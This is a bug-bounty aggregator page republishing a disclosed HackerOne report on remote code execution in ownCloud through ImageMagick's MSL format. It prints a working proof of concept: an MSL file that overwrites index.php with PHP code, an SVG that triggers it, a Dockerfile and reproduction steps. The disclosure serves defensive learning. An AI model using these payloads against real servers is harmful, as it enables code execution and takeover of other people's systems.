Skip to content
RCE Disclosed report Intermediate

Remote Code Execution on ownCloud instances with ImageMagick installed

ownCloud used ImageMagick to generate previews for some file types, and ImageMagick's MSL format could be abused to read and write files on the server. An attacker who could upload files and knew a file path could overwrite a PHP file and run arbitrary code.

lukasreschke Follow

Originally disclosed on HackerOne

Critical View original
  • Triaged in 13 hours
  • Fixed in 54 days
  • Paid in 54 days
  • Disclosed after 3 months

It is possible to execute code on ownCloud instances which have ImageMagick installed. This is due to the usage of ImageMagick for preview generation for some file types. (anything using OC\Preview\Bitmap)

The prerequisite for exploitation seem to be:

To reproduce we have provided the following files:

  • F2127559
FROM owncloud/server:10.11
RUN apt-get update && apt-get install -y imagemagick
  • F2127558
<?xml version="1.0" encoding="UTF-8"?>
<image> 
  <read filename="/mnt/data/files/admin/files/Photos/Portugal.jpg" />
  <get width="base-width" height="base-height" />
  <resize geometry="400x400" />
  <comment>&lt;?php echo php_uname(); ?&gt;</comment>
  <write filename="/var/www/owncloud/index.php" />
</image>
  • F2127557
<svg width="1000" height="1000" 
xmlns:xlink="http://www.w3.org/1999/xlink">
xmlns="http://www.w3.org/2000/svg">       
<image xlink:href="msl:/mnt/data/files/admin/files/exploit.msl" height="500" width="500"/>
</svg>

Download these files and then perform the following steps:

  • Build the docker image
    • docker build . -t owncloud-imagemagick
  • Start the docker image
    • docker run --rm --name oc-eval -d -p8080:8080 owncloud-imagemagick:latest
  • Open the ownCloud instance at localhost:8080 and login using the username “admin” and the password “admin”.
    • Upload the file exploit.msl
    • Upload the file image.rgb
  • Reload the page, at this point you will be served the new rewritten index.php that will also perform the phpinfo() command. (you can change which file should be overwritten and what PHP code will be executed inside exploit.msl)
Screenshot_2023-01-19_00.05.46.png
Screenshot_2023-01-19_00.05.46.png From the original on HackerOne

Impact

Attackers that are able to upload files to a ownCloud instance with ImageMagick installed can execute arbitrary code on the system.

The original report as published on HackerOne, by lukasreschke. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the preview generator passed attacker-controlled files to ImageMagick without restricting its MSL delegate, allowing file read and write outside the intended preview area.

Impact

Attackers able to upload files to an ownCloud instance with ImageMagick installed could execute arbitrary code on the system.

What the attacker needed

ImageMagick installed; Attacker can upload files; Attacker knows a file path

How it was found

  1. Build the provided Docker image with ImageMagick installed.
  2. Start the container and open the ownCloud instance, logging in as the default admin.
  3. Upload the crafted MSL file and the image file.
  4. Reload the page so the overwritten PHP file is served and the injected code runs.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

ImageMagick is a tool that makes thumbnails and previews of images. It can also follow instructions written inside a special image file, including instructions to save a new file somewhere on the server. Because ownCloud passed uploaded files to it, an attacker could make it overwrite a web page with their own code, which the server would then run.

What is RCE?

Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.

More by lukasreschke

View all

19 more disclosed reports, best first.

More from ownCloud

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Remote code execution

The lesson behind this report.

Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.